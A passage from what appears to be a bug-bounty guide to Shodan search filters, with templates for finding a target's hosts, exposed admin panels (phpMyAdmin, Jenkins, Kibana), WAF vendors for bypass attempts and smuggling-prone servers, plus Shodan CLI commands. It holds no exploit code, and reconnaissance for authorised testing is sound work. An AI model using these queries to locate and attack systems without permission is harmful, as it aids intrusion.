This shodan dork represents the CIDR notation. It is used to find out the available hosts in particular subnets, for e.g. if your target IP address is 104.16.100.52/32, here 32 is the subnet of your IP and shodan will list down all the IP address that belong to this particular subnet.

4. asn

This shodan dork is used to find all the hosts/domains of your target company. ASN is autonomous number system which will find all the internet connected assets that belongs to your target company, for e.g. go to https://hackertarget.com/as-ip-lookup/ and enter the IP of your target and it will give you the ASN number of your target then use that asn number to search for your target on shodan.

5. hostname

This shodan dork is used to find all the internet connected hosts of your target, for e.g. you entered your target as www.hackerone.com then this dork will find all the hosts with this name connected on the internet.

6. ip

This shodan dork will help you to find all of your target host that has the IP address you provided, for e.g. your ip is 104.16.100.52 then this dork will find all the hosts that belongs to particular IP.

7. all

This shodan dork is used to find all the results for the name that is passed in this dork. for e.g. if you want all the results related to tesla then this dork will help to find it out.

8. port

This shodan dork is used to find the vulnerable open ports of your target website which might leak sensitive information

HTTP

  1. http.component and http.component_category

There is a small difference between http.component and http.component_category where http.component is the name of the technology that is being used by the website for e.g. wordpress, jquery, mysql, nginx etc. and http.component_category is the name of the category of the components being used for e.g. cms, javascript libraries, databases, web servers etc.

Component and Component Category

2. http.favicon.hash

The favicon is a small icon displayed in the browser’s address bar or tab used for branding a website and we can calculate the hash of that icon by download the favicon.ico file. That hash can be used in shodan’s http.favicon.hash dork to find out the available exploit.

3. http.html

This dork is used to find the technologies and words in the source code of your target website for e.g. you want to search that the website is using drupal 8.0 or not, then you can simple pass the value in this dork and it will give you the results.

NOTE 1 : This dork is used when you know that the a particular technology’s (drupal) version is vulnerable to a particular cve.

NOTE 2 : This dork is used when your target has a huge scope of subdomains.

4. http.title

This dork is used to find whatever is written between the <title> tag of html in the website. for e.g. if you want to find the website that has grafana as a title you can use this dork. A small difference between http.title and http.html is that, that http.html will give you more results compare to http.title, so you can use either of them

Grafana

5. http.status

This dork is used to filter out the outputs based on the status code of your target for e.g. 200, 403, 301, 302, 401 etc. You can also used the status code directly without using this shodan dork, just append the status code using a + symbol but it will then search for all the possible 200 values and in the result, not only limited to status code.

6. http.waf

This dork is used to filter out your target according to web application firewall. for e.g. your target web application is using Barracuda firewall then you can use this dork to find which all web application domains of your target are using this firewall.

NOTE 1 : This dork is used when you know that a particular payload or technique exists to bypass this firewall.

NOTE 2 : This dork is used when your target has a huge scope of subdomains.

SSL

  1. ssl.alpn

Application-Layer Protocol Negotiation (ALPN) is a Transport Layer Security (TLS) extension that allows the application layer to negotiate which protocol should be performed over a secure connection. This dork can be used to identify which ALPN is being supported by the requests of your target domain. for e.g. if your target request has HTTP/2.0 and you want to check whether it supports HTTP/1.0 or HTTP/1.1 then you can use this dork.

NOTE 1 : This dork is used when you want to check for http desync/smuggling attacks

NOTE 2 : This dork is used when your target has a huge scope of subdomains.

2. ssl.cert.subject.cn and ssl.cert.issuer.cn

There is a small difference between ssl.cert.subject.cn and ssl.cert.issuer.cn where ssl.cert.subject.cn is the name of your target company or organization and ssl.cert.issuer.cn is the company that issues and verifies the certificate provided to your target company or organization.

NOTE 1 : This dork ssl.cert.issuer.cn will not be used in bug bounty.

Custom Dorks

  1. set-cookie

This custom shodan dork is used to find the values that a cookie of your target company’s request contains.

2. x-drupal-cache

This custom shodan dork is used to find for drupal caching issues for your target website.

3. access-control-allow-origin

This custom shodan dork is used to find the cross origin resource sharing issues for your target website.

4. WWW-Authenticate

This custom shodan dork will help to find the authentication related issues for your target website.

5. X-Magento-Cache-Debug

This custom shodan dork is used to find for magento caching issues for your target website.

6. kbn-name

This custom shodan dork is used to find the kibana applications for your target website.

7. x-forwarded-for and x-forwarded-host

This custom shodan dorks are used to find the header injection issues for your target website.

8. x-jenkins

This custom shodan dork is used to find the jenkins server for your target website.

NOTE 1 : You need to enumerate and look for the vulnerabilities. This dorks will not give you the direct hit to vulnerabilities.

NOTE 2 : This dorks will help you to know what vulnerabilities you can find on your target domains, if any of your target is using the above mentioned headers.

Shodan Dorking Usage Diagram

Shodan - Mindmap

Shodan Dorking (Web)

org:”target.com”
http.status:”<status_code>”
product:”<Product_Name>”
port:<Port_Number> “Service_Message”
port:<Port_Number> “Service_Name”
http.component:”<Component_Name>”
http.component_category:”<Component_Category>”
http.waf:”<firewall_name>”
http.html:”<Name>”
http.title:”<Title_Name>”
ssl.alpn:”<Protocol>”
http.favicon.hash:”<Favicon_Hash>”
net:”<Net_Range>” (for e.g. 104.16.100.52/32)
ssl.cert.subject.cn:”<Domain.com>”
asn:”<ASnumber>”
hostname:”<hostname>”
ip:”<IP_Address>”
all:”<Keyword>”
“Set-Cookie: phpMyAdmin”
“Set-Cookie: lang=”
“Set-Cookie: PHPSESSID”
“Set-Cookie: webvpn”
“Set-Cookie:webvpnlogin=1”
“Set-Cookie:webvpnLang=en”
“Set-Cookie: mongo-express=”
“Set-Cookie: user_id=”
“Set-Cookie: phpMyAdmin=”
“Set-Cookie: _gitlab_session”
“X-elastic-product: Elasticsearch”
“x-drupal-cache”
“access-control-allow-origin”
“WWW-Authenticate”
“ X-Magento-Cache-Debug”
“kbn-name: kibana”
“X-App-Name: kibana”
“x-jenkins”

URLs for Shodan Dorks (Web)

  1. http.html

https://gist.github.com/JerryShah3/8e25ecfeb9fa88784aa274d97b3cf86f

2. http.title

https://gist.github.com/JerryShah3/ccd9c8bd7eafa52b69f5a76917eec074

3. http.status

https://gist.github.com/JerryShah3/e4018ecce48eefcb8e02ebadf9468ae8

4. port

https://gist.github.com/JerryShah3/7c5cb2f25ceb3e522bfdfd0f9a68f6bb

5. http.favicon.hash

https://gist.github.com/JerryShah3/9eb4189b9b450d32c229b9c0cfbe3988

6. http.component

https://gist.github.com/JerryShah3/95d3a1baf2d29973286effb491684297

7. http.component_category

https://gist.github.com/JerryShah3/71bbbd368af846304e8588747984663b

8. http.waf

https://gist.github.com/JerryShah3/db7e47d1497d64e80c841961f3fb48b3

9. ssl.alpn

https://gist.github.com/JerryShah3/91c9fc5116bd58d3f92a454cb544b4f3

10. product

https://gist.github.com/JerryShah3/82346509de0208cf0d932e92bf20f0db

Shodan Dorking (CLI)

shodan host <IP>
shodan stats — facets port,org ssh
shodan domain <domain-name>
shodan honeyscore IP
shodan alert create “HackerOne” 104.16.100.52 (It will create an alert for the IP and will also provide an alert ID)
shodan stats --facets org discourse
shodan download --limit -1 <filename> ‘title:”IBM”’
shodan parse --fields ip_str,port,org --separator , filename.json.gz (to see the downloaded file contents by filtering it)
shodan domain hackerone.com
shodan honeyscore IP
shodan alert create “HackerOne” 104.16.100.52 (It will create an alert for the IP and will also provide an alert ID)
shodan alert create “Hyatt Hotels” 140.95.0.0/16
shodan alert enable <alert ID> new_service,open_database,vulnerable,ssl_expired,internet_scanner,uncommon
shodan alert hackerone.com

NOTE : I have not used the CLI version much so I have included the CLI dorks that I know and I have used.

Special Thanks for Proof Reading and Contributing in Dorks : Jinay Patel